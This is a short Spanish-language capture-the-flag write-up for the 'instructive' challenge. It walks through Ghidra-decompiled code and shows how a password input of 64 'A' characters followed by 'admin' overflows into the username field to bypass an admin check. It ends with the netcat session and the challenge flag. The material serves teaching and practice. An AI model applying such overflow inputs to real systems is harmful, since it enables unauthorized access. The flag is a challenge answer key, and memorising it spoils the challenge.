Instructive
3 minutos de lectura
Se nos proporciona un binario de 64 bits llamado instructive
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Ingeniería inversa
Si cargamos el binario en Ghidra, veremos esta función main
:
int main() {
int ret;
undefined flag[136];
char *data;
FILE *fp;
int j;
int i;
setbuf(stdout, NULL);
setbuf(stdin, NULL);
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
data = (char *) malloc(128);
printf("Please enter your username: ");
fgets(data + 0x40, 128, stdin);
for (i = 0; i < 128; i++) {
if (data[(long) i + 0x40] == '\n') {
data[(long) i + 0x40] = '\0';
break;
}
}
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
puts("Cannot log in as admin from this terminal!");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Please enter your password: ");
fgets(data, 128, stdin);
j = 0;
do {
if (0x7f < j) {
LAB_00101337:
printf("Logged in as %s.\n", data + 0x40);
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
printf("Welcome, admin. The flag is %s.\n", flag);
} else {
puts("Sorry, can only display the flag for an admin.");
}
return 0;
}
if (data[j] == '\n') {
data[j] = '\0';
goto LAB_00101337;
}
j++;
} while (true);
}
En primer lugar, el programa lee la flag de ./flag.txt
y almacena el contenido en una variable llamada flag
:
fp = fopen("./flag.txt", "r");
__isoc99_fscanf(fp, "%s", flag);
Para capturar la flag, necesitamos pasar este bloque if
:
printf("Logged in as %s.\n", data + 0x40);
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
printf("Welcome, admin. The flag is %s.\n", flag);
} else {
puts("Sorry, can only display the flag for an admin.");
}
Sin embargo, cuando el programa nos pide que pongamos un nombre de usuario, no nos permite usar admin
:
printf("Please enter your username: ");
fgets(data + 0x40, 128, stdin);
for (i = 0; i < 128; i++) {
if (data[(long) i + 0x40] == '\n') {
data[(long) i + 0x40] = '\0';
break;
}
}
ret = strcmp("admin", data + 0x40);
if (ret == 0) {
puts("Cannot log in as admin from this terminal!");
/* WARNING: Subroutine does not return */
exit(1);
}
Después de eso, se nos solicita que pongamos una contraseña:
printf("Please enter your password: ");
fgets(data, 128, stdin);
Vulnerabilidad de Buffer Overflow
Nótese que la contraseña se almacena en data
, y el nombre de usuario se almacena en data + 0x40
(0x40
es 64 en decimal). Con fgets
, el programa lee hasta 128 bytes y almacena los datos en data
.
Por lo tanto, podemos abusar de esto para ingresar 0x40
bytes para el campo “password” y los siguientes caracteres se almacenarán en el campo “username” (data + 0x40
).
Flag
Si hacemos esto, podemos ñadir admin
como nombre de usuario y conseguir la flag:
$ python3 -c 'print("A" * 0x40)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ nc puzzler7.imaginaryctf.org 9000
Please enter your username: asdf
Please enter your password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAadmin
Logged in as admin.
Welcome, admin. The flag is ictf{how_long_has_it_been_since_weve_done_just_a_simple_buffer_overfl0w?}.